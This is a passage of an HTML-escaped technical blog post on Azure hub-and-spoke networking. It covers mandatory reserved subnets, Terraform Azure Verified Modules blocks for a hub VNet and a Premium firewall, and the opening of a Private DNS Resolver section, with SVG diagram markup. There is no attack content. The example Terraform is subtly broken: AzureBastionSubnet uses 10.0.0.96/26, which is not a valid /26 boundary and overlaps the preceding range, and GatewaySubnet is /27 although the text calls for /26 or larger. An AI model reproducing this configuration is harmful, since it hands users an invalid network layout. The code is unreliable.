text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='212' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='212' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='228' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='212' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='212' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='52' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='228' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"11-mandatory-reserved-subnets\"\u003e1.1: Mandatory Reserved Subnets\u003c/h3\u003e\n\u003cp\u003eAzure enforces strict naming and sizing rules for hub services. Size all of these at \u003ccode\u003e/26\u003c/code\u003e or larger to avoid downtime when services need to scale:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAzureFirewallSubnet:\u003c/strong\u003e The data plane for the firewall.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAzureFirewallManagementSubnet:\u003c/strong\u003e Required only if you enable \u0026ldquo;Forced Tunneling\u0026rdquo; to route management traffic separately.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGatewaySubnet:\u003c/strong\u003e For VPN or ExpressRoute gateways.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAzureBastionSubnet:\u003c/strong\u003e For the Bastion managed service.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGetting this wrong—say, a \u003ccode\u003e/27\u003c/code\u003e for AzureFirewallSubnet—means an outage the day you try to scale the firewall. Size for growth now.\u003c/p\u003e\n\u003ch2 id=\"2-deploying-the-hub-with-terraform-avm\"\u003e2. Deploying the Hub with Terraform AVM\u003c/h2\u003e\n\u003cp\u003eUsing AVM modules reduces the 500 lines of standard VNet/Firewall code into a few atomic blocks.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hub_vnet\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-network-virtualnetwork/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.7\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;vnet-prod-hub-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  resource_group_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rg-prod-conn-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eastus\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  address_space       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.0.0.0/16\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subnets \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    AzureFirewallSubnet \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e { address_prefixes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.0.0.0/26\u0026#34;\u003c/span\u003e] }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    GatewaySubnet       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e { address_prefixes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.0.0.64/27\u0026#34;\u003c/span\u003e] }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    AzureBastionSubnet  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e { address_prefixes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.0.0.96/26\u0026#34;\u003c/span\u003e] }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;firewall\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-network-azurefirewall/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.5\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;fw-prod-hub-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  resource_group_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rg-prod-conn-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eastus\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  sku_tier            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Premium\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e # Required for IDPS and TLS inspection\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # Link to the hub subnet\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  virtual_network_resource_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ehub_vnet\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eresource_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-private-dns-resolution-flow\"\u003e3. Private DNS Resolution Flow\u003c/h2\u003e\n\u003cp\u003eDNS is the most frequent source of post-deployment support tickets. In a hub-and-spoke model, centralize \u003cstrong\u003ePrivate DNS Zones\u003c/strong\u003e in the hub and use the \u003cstrong\u003eAzure DNS Private Resolver\u003c/strong\u003e to handle queries from both cloud and on-premises clients.\u003c/p\u003e\n\u003ch3 id=\"private-dns-resolution-flow-resolver-pattern\"\u003ePrivate DNS Resolution Flow (Resolver Pattern)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 704 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 344,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,96 L 608,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,144 L 608,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,192 L 344,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,176 L 80,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,0 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,96 L 352,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,144 L 352,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='88.000000,176.000000 76.000000,170.399994 76.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 80.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='96.000000,192.000000 84.000000,186.399994 84.000000,197.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='352.000000,48.000000 340.000000,42.400002 340.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='360.000000,0.000000 348.000000,-5.600000 348.000000,5.600000' fill='currentColor' transform='rotate(90.000000, 352.000000, 0.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='368.000000,144.000000 356.000000,138.399994 356.000000,149.600006' fill='currentColor' transform='rotate(180.000000, 360.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,96.000000 604.000000,90.400002 604.000000,101.599998' fill='currentColor' transform='rotate(0.000000, 608.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' 